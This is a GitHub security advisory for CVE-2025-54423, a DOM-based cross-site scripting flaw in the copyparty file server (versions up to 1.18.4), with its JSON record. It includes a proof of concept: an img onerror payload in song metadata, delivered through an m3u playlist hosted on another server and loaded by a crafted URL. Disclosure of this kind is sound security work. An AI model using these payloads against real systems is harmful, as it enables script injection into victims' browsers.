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GHSA-9Q4R-X2HJ-JMVR

Vulnerability from github – Published: 2025-07-28 16:41 – Updated: 2025-07-29 12:34
VLAI
Summary
copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata
Details

Summary

An unauthenticated attacker is able to execute arbitrary JavaScript code in a victim's browser due to improper sanitization of multimedia tags in music files, including m3u files.

Details

Multimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:

  • a user which has the necessary permission for uploading files can upload a song with an artist-name such as <img src=x onerror=alert(document.domain)>
  • an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file

The CVE score and PoC is based on the m3u approach, which results in a higher severity.

PoC

  1. Create a file named song.m3u with the following content. Host this file on an attacker-controlled web server.

    ```m3u

    EXTM3U

    EXTINF:1,"> - ">

    http://example.com/audio.mp3 ```

  2. Craft and share the malicious URL:

    http://127.0.0.1:3923/#m3u=https://example.com/song.m3u

Impact

Any user that accesses this malicious URL is impacted.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.18.4"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "copyparty"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.18.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-54423"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-28T16:41:44Z",
    "nvd_published_at": "2025-07-28T20:17:48Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nAn unauthenticated attacker is able to execute arbitrary JavaScript code in a victim\u0027s browser due to improper sanitization of multimedia tags in music files, including `m3u` files.\n\n### Details\n\nMultimedia metadata is rendered in the web-app without sanitization. This can be exploited in two ways:\n\n* a user which has the necessary permission for uploading files can upload a song with an artist-name such as `\u003cimg src=x onerror=alert(document.domain)\u003e`\n* an unauthenticated user can trick another user into clicking a malicious URL, performing this same exploit using an externally-hosted m3u file\n\nThe CVE score and PoC is based on the m3u approach, which results in a higher severity.\n\n### PoC\n1.  Create a file named `song.m3u` with the following content. Host this file on an attacker-controlled web server.\n\n    ```m3u\n    #EXTM3U\n    #EXTINF:1,\"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e - \"\u003e\u003cimg src=x onerror=alert(document.domain)\u003e\n    http://example.com/audio.mp3\n    ```\n\n2.  Craft and share the malicious URL:  \n\n    ```\n    http://127.0.0.1:3923/#m3u=https://example.com/song.m3u\n    ```\n\n\n### Impact\nAny user that accesses this malicious URL is impacted.",
  "id": "GHSA-9q4r-x2hj-jmvr",
  "modified": "2025-07-29T12:34:32Z",
  "published": "2025-07-28T16:41:44Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/9001/copyparty/security/advisories/GHSA-9q4r-x2hj-jmvr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-54423"
    },
    {
      "type": "WEB",
      "url": "https://github.com/9001/copyparty/commit/895880aeb0be0813ddf732487596633f8f9fc3a6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/9001/copyparty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/9001/copyparty/releases/tag/v1.18.5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "copyparty has DOM-Based XSS vulnerability when displaying multimedia metadata"
}



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